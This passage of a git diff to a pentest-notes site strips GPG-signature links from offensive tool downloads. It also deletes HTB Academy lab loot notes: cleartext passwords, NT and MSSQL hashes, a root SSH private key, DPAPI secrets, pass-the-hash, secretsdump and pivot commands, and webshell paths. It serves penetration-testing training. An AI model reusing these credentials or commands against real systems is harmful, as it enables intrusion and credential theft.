 > Source: [topotam/PetitPotam](https://github.com/topotam/PetitPotam). Alternatives: [SpoolSample / printerbug](https://github.com/leechristensen/SpoolSample) (MS-RPRN), [Coercer](https://github.com/p0dalirius/Coercer) (multi-protocol scanner), [DFSCoerce](https://github.com/Wh04m1001/DFSCoerce).
 
 ```powershell

src/content/sheets/pentest-workflow/lateral-movement-pivoting-and-loot.md

@@ -178,7 +178,7 @@ Copy-Item .\SharpHound.exe -Destination C:\Temp\ -ToSession $s
 > [!tools] Stage this — WMI-native exec
 > [SharpWMI](https://github.com/GhostPack/SharpWMI) — WMI lateral movement without touching SMB/ADMIN$: process spawn, file up/download, VBS exec, event-log queries.
 >
-> [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc))
+> [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256))
 
 ```text
 # On-host (GhostPack SharpWMI) — WMI process exec as the current/impersonated user:
@@ -274,12 +274,12 @@ When my "credential" is a ticket or an AES/RC4 key rather than a password, this
 > [!tools] Stage this
 > [Rubeus](https://github.com/GhostPack/Rubeus) — Kerberos abuse toolkit: request tickets, pass-the-ticket, renew, harvest.
 >
-> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc))
+> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256))
 
 > [!tools] Stage this
 > [mimikatz](https://github.com/gentilkiwi/mimikatz) — LSASS extraction, PtH, ticket injection, DCSync.
 >
-> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
+> [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
 
 ```text
 :: Rubeus — key material → ticket → injected into the current session:
@@ -313,9 +313,9 @@ kerberos::list /export                                                      :: p
 > [!tools] Stage this
 > ligolo-ng **agents** (the proxy runs from my attack box; drop the matching agent on the pivot):
 >
-> [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))
+> [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256))
 >
-> [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))
+> [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256))
 
 **Attacker — start proxy**
 ```bash
@@ -393,9 +393,9 @@ curl http://240.0.0.1:8080/          # 240.0.0.1 == pivot's own localhost
 > [!tools] Stage this
 > chisel binaries:
 >
-> [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))
+> [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256))
 >
-> [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))
+> [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256))
 
 ```bash
 # Attacker:
@@ -649,7 +649,7 @@ proxychains4 curl http://172.16.5.10/
 ```
 
 > [!warning] Watch out
-> Every request is an HTTP POST to the webshell URL — visible and repetitive in the web server logs (IIS `C:\inetpub\logs\LogFiles\W3SVC*\`), and throughput is modest. Match the webshell extension to the server tech (`aspx` on IIS, `jsp` on Tomcat) or it 404s/500s instantly. The webshell file itself is dropped evidence — remove it at cleanup. Pairs naturally with the vault's staged webshells ([nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))) when I need the initial execution primitive.
+> Every request is an HTTP POST to the webshell URL — visible and repetitive in the web server logs (IIS `C:\inetpub\logs\LogFiles\W3SVC*\`), and throughput is modest. Match the webshell extension to the server tech (`aspx` on IIS, `jsp` on Tomcat) or it 404s/500s instantly. The webshell file itself is dropped evidence — remove it at cleanup. Pairs naturally with the vault's staged webshells ([nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256))) when I need the initial execution primitive.
 
 > [!note] Which tunnel when — the decision I make at the pivot
 > - **SSH creds + dual-homed Linux pivot** → `ssh -D` + proxychains (one service → `-L`; callback home → `-R`); or **sshuttle** for zero-prefix tooling if I have root locally.
@@ -670,7 +670,7 @@ proxychains4 curl http://172.16.5.10/
 > [!tools] Stage this
 > [fscan](https://github.com/shadow1ng/fscan) — internal all-in-one scanner (host discovery, ports, service probes, weak-password checks, MS17-010).
 >
-> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc))
+> [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256))
 
 ```bash
 ./fscan -h 172.16.10.0/24                 # full sweep of the internal /24
@@ -816,7 +816,7 @@ DPAPI ([T1555.004](https://attack.mitre.org/techniques/T1555/004/)) protects eve
 > [!tools] Stage this
 > [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) — GhostPack DPAPI toolkit: masterkey triage, blob decryption, Chrome/vault/SCCM extraction.
 >
-> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc))
+> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256))
 
 ```bash
 nxc smb $IP -u "$U" -p "$P" --dpapi                 # decrypt saved creds/secrets
@@ -846,7 +846,7 @@ SharpDPAPI.exe masterkeys /pvk:dpapi_backup.pvk /target:C:\Users\victim\...\Prot
 > [!tools] Stage this
 > [LaZagne](https://github.com/AlessandroZ/LaZagne) — local credential looting: browsers, mail, WiFi, Git, VPN clients, chats, sysadmin tools.
 >
-> [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))
+> [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256))
 
 ```batch
 LaZagne.exe all                     :: everything it can find, prints to console
@@ -878,7 +878,7 @@ hashcat -m 13400 keepass.hash rockyou.txt
 > [!tools] Stage this
 > [Snaffler](https://github.com/SnaffCon/Snaffler) — enumerate AD computers, find readable shares, grep file names/contents for credential patterns.
 >
-> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
+> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256))
 
 ```text
 Snaffler.exe -s -o snaffler.log                 :: domain-wide share+content hunt
@@ -1311,7 +1311,7 @@ When lateral movement needs an in-memory payload (e.g. injecting my own PE into
 > [!tools] Stage this
 > donut v1.1 (Windows + Linux builds in the zip):
 >
-> [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc))
+> [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256))
 
 ```bash
 # One-liner use case: turn Rubeus.exe into injectable shellcode

src/content/sheets/pentest-workflow/loot.md

deleted file mode 100644
@@ -1,349 +0,0 @@
----
-title: "Loot — Attacking Enterprise Networks (INLANEFREIGHT.LOCAL)"
-description: "Attacking Enterprise Networks lab re-entry notes, host evidence, credentials, attack chain, and cleanup ledger."
-category: pentest-workflow
-subcategory: "Pentest Attack Flow"
-order: 19
-tags: ["htb", "academy", "htb-academy-attacking-enterprise-networks", "inlanefreight", "activedirectory", "loot", "credentials", "pentest-workflow"]
-tools: []
-difficulty: advanced
-updated: "2026-08-29"
-source: "vault:Pentest Attack Flow/loot.md"
----
-> [!warning]+ SENSITIVE — Live Credential Store
-> This file contains working credentials, hashes, private keys, and domain secrets for the INLANEFREIGHT.LOCAL lab environment. Do not commit it to any remote repository or share it outside the engagement. If the vault syncs anywhere, exclude this file.
-
----
-
-## 1. Quick Re-Entry (If the Lab / Server Restarts)
-
-> [!important]+ The lab's **external IP changes on every spawn**. `10.129.203.111` was this instance's dmz01 external address — re-check the spawned target IP and substitute it below. Internal IPs (`172.16.8.0/23`) have been stable across restarts.
-
-### 1.1 dmz01 (Linux pivot) — root
-
-```bash
-# Preferred: root SSH key (key material in §4.1)
-chmod 600 dmz01_key
-ssh -i dmz01_key root@<DMZ01-EXTERNAL-IP>
-
-# Fallback: password
-ssh srvadm@<DMZ01-EXTERNAL-IP>      # password: ILFreightnixadm!
-
-# Re-establish the SOCKS pivot for all internal work
-ssh -N -f -D 127.0.0.1:8081 -i dmz01_key root@<DMZ01-EXTERNAL-IP>
-# /etc/proxychains.conf -> socks4 127.0.0.1 8081
-```
-
-### 1.2 ACADEMY-AEN-DEV01 (172.16.8.20) — local admin / SYSTEM
-
-```bash
-# Pass-the-Hash as LOCAL Administrator (validated -> Pwn3d!)
-proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H 0e20798f695ab0d04bc138b22344cea8
-
-# Evil-WinRM shell (WinRM service confirmed running on DEV01)
-proxychains evil-winrm -i 172.16.8.20 -u administrator -H 0e20798f695ab0d04bc138b22344cea8
-
-# Remote secrets re-dump (no need to re-touch reg save if hives were wiped)
-proxychains impacket-secretsdump 'ACADEMY-AEN-DEV01/administrator@172.16.8.20' -hashes :0e20798f695ab0d04bc138b22344cea8
-```
-
-Other ways back onto DEV01 (all still valid unless remediated):
-
-1. **Webshells dropped in webroot:** `http://172.16.8.20/Portals/0/cmdasp.aspx` and `nt-webshell-rosepine.aspx` (run as `iis apppool\dotnetnukeapppool`, `SeImpersonatePrivilege` held → PrintSpoofer for SYSTEM).
-2. **DNN admin UI:** browse `http://172.16.8.20/Login?returnurl=%2fadmin` via Firefox-SOCKS, log in `Administrator:D0tn31Nuk3R0ck$$@123` → Settings → SQL Console → re-enable `xp_cmdshell` if it was reset.
-3. **Anonymous NFS:** from dmz01 — `mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01` (export `/DEV01 (everyone)`).
-
-### 1.3 Domain authentication (INLANEFREIGHT.LOCAL)
-
-```bash
-# hporter — validated domain user (Domain Users only, NOT admin anywhere yet)
-proxychains nxc smb 172.16.8.20 -u hporter -p 'Gr8hambino!'
-proxychains nxc smb 172.16.8.3  -u hporter -p 'Gr8hambino!'   # DC01
-```
-
----
-
-## 2. Hosts & Access Matrix
-
-| Host | IP(s) | Role | Current access | Path back in |
-|---|---|---|---|---|
-| `dmz01` | `10.129.203.111` (ext, per-instance) / `172.16.8.120` (int) | Linux dual-homed pivot (FTP/SSH/HTTP/8080) | **root** | SSH key `dmz01_key`; `srvadm:ILFreightnixadm!` |
-| `ACADEMY-AEN-DEV01` | `172.16.8.20` | Win Server 2019 (build 17763) — DNN CMS, MSSQL$SQLEXPRESS, NFS `/DEV01`, RDP, WinRM | **SYSTEM** + local admin | PTH local Administrator hash; evil-winrm; webshells; DNN admin UI; NFS |
-| `DC01` | `172.16.8.3` | Domain Controller, INLANEFREIGHT.LOCAL | Domain user (`hporter`) | credentialed enum only, so far |
-| `ACADEMY-AEN-MS01` | `172.16.8.50` | Windows, Tomcat 10 on 8080 | none | dead end (no mgr creds); revisit with looted creds |
-
-> [!info]+ SMB Signing Posture
-> - **DC01 (172.16.8.3):** `Message signing enabled and required` (SMB 3.1.1) → **no SMB relay to the DC**.
-> - **DEV01 (172.16.8.20):** `signing:False` per nxc → relay-able target if coercion comes into play later.
-
----
-
-## 3. Credentials
-
-### 3.1 Cleartext — validated
-
-| Account | Secret | Source | Validated against | Result |
-|---|---|---|---|---|
-| `srvadm` (dmz01 local) | `ILFreightnixadm!` | Web app exploit chain (Section 5) | SSH on dmz01 | ✅ works |
-| DNN CMS `Administrator` (SuperUser) | `D0tn31Nuk3R0ck$$@123` | `web.config` via anonymous NFS `/DEV01` | DNN admin UI | ✅ works |
-| `INLANEFREIGHT\hporter` | `Gr8hambino!` | LSA autologon `DefaultPassword` on DEV01 | `nxc smb 172.16.8.20` (domain auth) | ✅ works — **no** `(Pwn3d!)` → not local admin |
-
-### 3.2 DEV01 Local SAM — NT hashes
-
-BootKey: `0xb3a720652a6fca7e31c1659e3d619944`
-
-```text
-Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e20798f695ab0d04bc138b22344cea8:::
-Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
-mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:3bb874a52ce7b0d64ee2a82bbf3fe1cc:::
-```
-
-- `Administrator` NT `0e20798f695ab0d04bc138b22344cea8` — **validated via PtH → `(Pwn3d!)`** on DEV01. Test reuse on MS01 / other hosts.
-- `mpalledorous` NT `3bb874a52ce7b0d64ee2a82bbf3fe1cc` — untested elsewhere; local account reuse is common.
-- `31d6cfe0d16ae931b73c59d7e0c089c0` = empty password (Guest/DefaultAccount/WDAGUtilityAccount) — no value.
-
-### 3.3 Cached domain logon (DEV01)
-
-```text
-INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#f7d7bba128ca183106b8a3b3de5924bc  (cached 2022-06-23)
-```
-
-- `$DCC2$` (MSCash2) — **crackable offline** (`hashcat -m 2100`), **not** usable for pass-the-hash. Cleartext already recovered (`Gr8hambino!`), so cracking is redundant — kept for completeness.
-
-### 3.4 Machine account — `INLANEFREIGHT\ACADEMY-AEN-DEV$`
-
-```text
-NT:      94eb4954a1395f6c034de95596a118cc
-aes256:  c9e4d026cdef925d846fa71ae97d72fdd40ca3b4fa2c475be05793b287d07b94
-aes128:  2bef029fb39e844c38c620d23f47026b
-des:     ea6b978c19c213fb
-plain_password_hex: 2da3b935d9a04dcc3783174e2ac50fd9d0596045c5e41fee1c8be5c045e686b92673c6b4b4528cae76f481047fd657d6bf0c06dc8d7ccffd20259ac5efe767084c077cc1a7c926c816528111b33de3defcfdc55a7bf2ad7edfa9adae0a7f441bb5960bb7546719e0dac7ab83ea9314b7530c7f04ba930c7f32df8a08586202bd70eaf72f5f5b8dbff737c6495e32aba7aea8a9e9ab716eb2f16a2e6a109f1642d53079f71cd09c5e1d0863b0b68d3d950eff49793591a0cf18cc46153e15b7ff363f0333d4e70c557d9dbfdbbc761199a0825b2f1119b0fcf7205afa6899c12eb3d1ae04344fe39c91a69e8ac5345457
-```
-
-> [!tip]+ Why the machine account matters
-> `ACADEMY-AEN-DEV$` is an authenticated domain principal: its NT hash/AES keys give AD recon (LDAP/Kerberos) **without any user credential**, and its SPNs (`HOST`, `TERMSRV`, `nfs`, `RestrictedKrbHost`) make **silver tickets against DEV01's own services** possible. Also the ticket to delegated/kerberos abuse if the box is ever re-roled.
-
-### 3.5 MSSQL logins — `MSSQL$SQLEXPRESS` on DEV01
-
-Extracted via the DNN SQL console. `0x0200…` format = MSSQL 2012+ (SHA-512 salted) → **`hashcat -m 1731`** / John `mssql12`.
-
-```text
-sa                                       0x020073803784a7bdf8be6d18c536b3ec32347e77a054735c72bb71b37a684a0a47b500a48027866aa787744531c45a5159a901bd56b31627e305ab47c55d5cbb8e218f0b3834
-##MS_PolicyEventProcessingLogin##        0x020008071fa44df389f8dd4c1c9d1c927da31b30f8acbf73959bda3cc3cbda4bbdf5cf457d5da52e3ad99a162a34575596300ae91e1503c2eeec44e923be318e599a730132b6
-##MS_PolicyTsqlExecutionLogin##          0x020023a603824646083129fc1ed2114d844b33307d9b53aef3bc6b1eb813e23c3ee252c3f454b4ebe6160838bd1328a093d41d37800e1a7e65387ac192c011d5afd79b6c80c3
-MyDNNUser                                0x0200b34cbf681c35bccd5eec868cca6e2fb47511bcc6ca9ce7966be88df5c5c58cad0188a829f5044e2faedc1fa59d5864cb93d8ec3fbd57aab23ca8af8ec5a4be09bf42a4bb
-```
-
-Raw `sys.sql_logins.password_hash` varbinary as displayed (base64) by the DNN SQL console:
-
-```text
-sa                                     AgBzgDeEp734vm0YxTaz7DI0fnegVHNccrtxs3poSgpHtQCkgCeGaqeHdEUxxFpRWakBvVazFifjBatHxV1cu44hjws4NA==
-##MS_PolicyEventProcessingLogin##      AgAIBx+kTfOJ+N1MHJ0ckn2jGzD4rL9zlZvaPMPL2ku99c9FfV2lLjrZmhYqNFdVljAK6R4VA8Lu7ETpI74xjlmacwEytg==
-##MS_PolicyTsqlExecutionLogin##        AgAjpgOCRkYIMSn8HtIRTYRLMzB9m1Ou87xrHrgT4jw+4lLD9FS06+YWCDi9Eyigk9QdN4AOGn5lOHrBksAR1a/Xm2yAww==
-MyDNNUser                              AgCzTL9oHDW8zV7shozKbi+0dRG8xsqc55Zr6I31xcWMrQGIqCn1BE4vrtwfpZ1YZMuT2Ow/vVeqsjyor47FpL4Jv0Kkuw==
-```
-
-- Cracking priorities: **`sa`** (breaks DNN dependency — direct `mssqlclient.py` to DEV01:1433) and **`MyDNNUser`** (the DNN app's own DB login — likely in the `web.config` connection string too; worth grepping the mounted share again).
-- The two `##MS_Policy*##` logins are internal SQL Server policy accounts — skip.
-
----
-
-## 4. Key Material
-
-### 4.1 dmz01 root SSH private key (`dmz01_key`)
-
-Recovered from `/root/.ssh/id_rsa` via the GTFOBins `openssl` file-read primitive. `chmod 600` before use. Fingerprint comment: `root@ubuntu`.
-
-```text
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
-NhAAAAAwEAAQAAAYEA0ksXgILHRb0j1s3pZH8s/EFYewSeboEi4GkRogdR53GWXep7GJMI
-oxuXTaYkMSFG9Clij1X6crkcWLnSLuKI8KS5qXsuNWISt+T1bpvTfmFymDIWNx4efR/Yoa
-vpXx+yT/M2X9boHpZHluuR9YiGDMZlr3b4hARkbQAc0l66UD+NB9BjH3q/kL84rRASMZ88
-y2jUwmR75Uw/wmZxeVD5E+yJGuWd+ElpoWtDW6zenZf6bqSS2VwLhbrs3zyJAXG1eGsGe6
-i7l59D31mLOUUKZxYpsciHflfDyCJ79siXXbsZSp5ZUvBOto6JF20Pny+6T0lovwNCiNEz
-7avg7o/77lWsfBVEphtPQbmTZwke1OtgvDqG1v4bDWZqKPAAMxh0XQxscpxI7wGcUZbZeF
-9OHCWjY39kBVXObER1uAvXmoJDr74/9+OsEQXoi5pShB7FSvcALlw+DTV6ApHx239O8vhW
-/0ZkxEzJjIjtjRMyOcLPttG5zuY1f2FBt2qS1w0VAAAFgIqVwJSKlcCUAAAAB3NzaC1yc2
-EAAAGBANJLF4CCx0W9I9bN6WR/LPxBWHsEnm6BIuBpEaIHUedxll3qexiTCKMbl02mJDEh
-RvQpYo9V+nK5HFi50i7iiPCkual7LjViErfk9W6b035hcpgyFjceHn0f2KGr6V8fsk/zNl
-/W6B6WR5brkfWIhgzGZa92+IQEZG0AHNJeulA/jQfQYx96v5C/OK0QEjGfPMto1MJke+VM
-P8JmcXlQ+RPsiRrlnfhJaaFrQ1us3p2X+m6kktlcC4W67N88iQFxtXhrBnuou5efQ99Ziz
-lFCmcWKbHIh35Xw8gie/bIl127GUqeWVLwTraOiRdtD58vuk9JaL8DQojRM+2r4O6P++5V
-rHwVRKYbT0G5k2cJHtTrYLw6htb+Gw1maijwADMYdF0MbHKcSO8BnFGW2XhfThwlo2N/ZA
-VVzmxEdbgL15qCQ6++P/fjrBEF6IuaUoQexUr3AC5cPg01egKR8dt/TvL4Vv9GZMRMyYyI
-7Y0TMjnCz7bRuc7mNX9hQbdqktcNFQAAAAMBAAEAAAGATL2yeec/qSd4qK7D+TSfyf5et6
-Xb2x+tBo/RK3vYW8mLwgILodAmWr96249Brdwi9H8VxJDvsGX0/jvxg8KPjqHOTxbwqfJ8
-OjeHiTG8YGZXV0sP6FVJcwfoGjeOFnSOsbZjpV3bny3gOicFQMDtikPsX7fewO6JZ22fFv
-YSr65BXRSi154Hwl7F5AH1Yb5mhSRgYAAjZm4I5nxT9J2kB61N607X8v93WLy3/AB9zKzl
-avML095PJiIsxtpkdO51TXOxGzgbE0TM0FgZzTy3NB8FfeaXOmKUObznvbnGstZVvitNJF
-FMFr+APR1Q3WG1LXKA6ohdHhfSwxE4zdq4cIHyo/cYN7baWIlHRx5Ouy/rU+iKp/xlCn9D
-hnx8PbhWb5ItpMxLhUNv9mos/I8oqqcFTpZCNjZKZAxIs/RchduAQRpxuGChkNAJPy6nLe
-xmCIKZS5euMwXmXhGOXi0r1ZKyYCxj8tSGn8VWZY0Enlj+PIfznMGQXH6ppGxa0x2BAAAA
-wESN/RceY7eJ69vvJz+Jjd5ZpOk9aO/VKf+gKJGCqgjyefT9ZTyzkbvJA58b7l2I2nDyd7
-N4PaYAIZUuEmdZG715CD9qRi8GLb56P7qxVTvJn0aPM8mpzAH8HR1+mHnv+wZkTD9K9an+
-L2qIboIm1eT13jwmxgDzs+rrgklSswhPA+HSbKYTKtXLgvoanNQJ2//ME6kD9LFdC97y9n
-IuBh4GXEiiWtmYNakti3zccbfpl4AavPeywv4nlGo1vmIL3wAAAMEA7agLGUE5PQl8PDf6
-fnlUrw/oqK64A+AQ02zXI4gbZR/9zblXE7zFafMf9tX9OtC9o+O0L1Cy3SFrnTHfPLawSI
-nuj+bd44Y4cB5RIANdKBxGRsf8UGvo3wdgi4JIc/QR9QfV59xRMAMtFZtAGZ0hTYE1HL/8
-sIl4hRY4JjIw+plv2zLi9DDcwti5tpBN8ohDMA15VkMcOslG69uymfnX+MY8cXjRDo5HHT
-M3i4FvLUv9KGiONw94OrEX7JlQA7b5AAAAwQDihl6ELHDORtNFZV0fFoFuUDlGoJW1XR/2
-n8qll95Fc1MZ5D7WGnv7mkP0ureBrD5Q+OIbZOVR+diNv0j+fteqeunU9MS2WMgK/BGtKm
-41qkEUxOSFNgs63tK/jaEzmM0FO87xO1yP8x4prWE1WnXVMlM97p8osRkJJfgIe7/G6kK3
-9PYjklWFDNWcZNlnSiq09ZToRbpONEQsP9rPrVklzHU1Zm5A+nraa1pZDMAk2jGBzKGsa8
-WNfJbbEPrmQf0AAAALcm9vdEB1YnVudHU=
------END OPENSSH PRIVATE KEY-----
-```
-
-### 4.2 DPAPI_SYSTEM (DEV01)
-
-```text
-dpapi_machinekey: 0x6968d50f5ec2bc41bc207a35f0392b72bb083c22
-dpapi_userkey:    0xe1e7a8bc8273395552ae8e23529ad8740d82ea92
-```
-
-Enables offline decryption of DPAPI masterkeys/credential blobs recovered from DEV01 (Wi-Fi, RDP saved creds, browser, scheduled-task creds).
-
-### 4.3 NL$KM (DEV01)
-
-```text
-NL$KM:210ce6ac8b089b3997ead9c677db10e62eb253437eb80664b3eb89b1dad122c71183fa35db573eb09d84594190187a8dedc91c26ffb7da6f02c92e189dca082d
-```
-
-LSA secret-encryption key — needed only if re-parsing LSA secrets offline from a fresh `SECURITY` hive copy.
-
----
-
-## 5. Domain Intelligence (INLANEFREIGHT.LOCAL)
-
-| Item | Value |
-|---|---|
-| Domain / FQDN | `INLANEFREIGHT` / `INLANEFREIGHT.LOCAL` |
-| Domain SID | `S-1-5-21-2814148634-3729814499-1637837074` |
-| DC | `DC01.INLANEFREIGHT.LOCAL` = `172.16.8.3` (DNS, Kerberos, LDAP/LDAPS, SMB signing **required**) |
-| Password policy | Min length **1**, history **none**, max age 42 days, **lockout threshold: Never** → spraying is safe in-lab; report as `Weak Password Policy` |
-| Known users | `hporter` (Domain Users only), `mpalledorous` (local DEV01), DNN `Administrator` |
-| Interesting groups | Tier 1–4 Admins, Secadmins, IT Admins, Server Admins, SQL Admins/Dev/QA, Website Admin, GPO Management, Exchange Administrator, Service Accounts, File Share Admin + F/G/H/J groups, **Protected Users** (blocks NTLM/delegation for members) |
-
-### 5.1 Kerberoast targets (user accounts with SPNs)
-
-| Account | SPN | Priority |
-|---|---|---|
-| `azureconnect` | `adfsconnect/azure01.inlanefreight.local` | ★★★ AAD Connect sync — often replication rights |
-| `backupjob` | `backupjob/veam001.inlanefreight.local` | ★★★ Veeam backup service |
-| `mssqladm` | `MSSQLSvc/SQL-WEB01.inlanefreight.local:1433` | ★★★ name implies SQL admin |
-| `mssqlsvc` | `MSSQLSvc/DB01.inlanefreight.local:1433` | ★★ |
-| `svc_sql` | `MSSQLSvc/SQL01.inlanefreight.local:1433` | ★★ |
-| `sqlprod` | `MSSQLSvc/SQL02.inlanefreight.local:1433` | ★★ |
-| `sqldev` | `MSSQLSvc/SQL-DEV01.inlanefreight.local:1433` | ★★ |
-| `sqltest` | `MSSQLSvc/DEVTEST.inlanefreight.local:1433` | ★★ |
-| `sqlqa` | `MSSQLSvc/QA001.inlanefreight.local:1433` | ★★ |
-| `vmwarescvc` | `vmware/vc.inlanefreight.local` | ★★ vCenter |
-| `sapsso` / `sapvc` | `SAP/APP01`, `SAPsvc/SAP01.inlanefreight.local` | ★ SAP estate |
-
-### 5.2 Infrastructure revealed by SPNs (resolve via DNS `172.16.8.3`)
-
-`DB01`, `SQL01`, `SQL02`, `SQL-DEV01`, `DEVTEST`, `QA001`, `SQL-WEB01`, `azure01`, `veam001`, `vc`, `APP01`, `SAP01` — none answered the `.8.0/23` ping sweep; likely on `.9.0/23` or deeper segments.
-
----
-
-## 6. Scan Evidence Summary
-
-- **`smbScan-8-3.xml`** (nmap, 2026-08-27): DC01 `445/tcp` open, SMB 2.0.2→3.1.1, **signing enabled and required**.
-- **`8-20-2nd-pass-FurtherEnum.xml`** (nmap `-A --script vuln,nfs-*` against DEV01): ports `80/111/135/139/445` open; `http-enum` → `/login.aspx`, `/rss.aspx`, `/login/`, `/robots.txt`; `vuln` scripts all negative (no ms10-054/061, no web CVEs); NFS export `/DEV01` root listing: `BuildPackages.bat`, `CKEditorDefaultSettings.xml`, `CKToolbarButtons.xml`, `CKToolbarSets.xml`, `DNN/`, `WatchersNET.CKEditor.sln`, and **`flag.txt` (32 bytes)** — grab it if not already captured.
-- **`SNN-Admin-Creds.txt`**: DNN `web.config` excerpt — `<username>Administrator</username>` / `D0tn31Nuk3R0ck$$@123`; app targets .NET Framework 4.5.2, `debug="true"`.
-- **`DNN-SQL-Enum.txt`** (both copies identical): the SQL login hashes recorded in §3.5.
-- **`falseClusterUpgra.txt`**: SQL Server setup/discovery XML (SQL11/14/15 package install states) — installation metadata only, **no credentials**; reviewed and retained as evidence filler, not loot.
-
----
-
-## 7. Attack Chain So Far
-
-1. **External web app exploit** → `srvadm:ILFreightnixadm!` → SSH into dmz01 (Section 5).
-2. **dmz01 privesc:** `sudo -l` → `NOPASSWD: /usr/bin/openssl` → GTFOBins file-read → `/root/.ssh/id_rsa` → **root persistence**.
-3. **Pivoting:** SSH `-D 8081` SOCKS (+ Metasploit `autoroute` via Meterpreter `shell.elf`) into `172.16.8.0/23`.
-4. **Discovery:** DC01 (`.3`), DEV01 (`.20` — DNN/NFS), MS01 (`.50` — Tomcat 10, dead end).
-5. **Pillaging:** anonymous NFS `/DEV01` → `web.config` → **DNN Administrator creds**.
-6. **DNN → RCE:** SuperUser login → SQL console → `sp_configure` + `xp_cmdshell` (as `nt service\mssql$sqlexpress`); separately, `.aspx` re-permitted in Allowable File Extensions → webshells in `C:\DotNetNuke\Portals\0` (as `iis apppool\dotnetnukeapppool`).
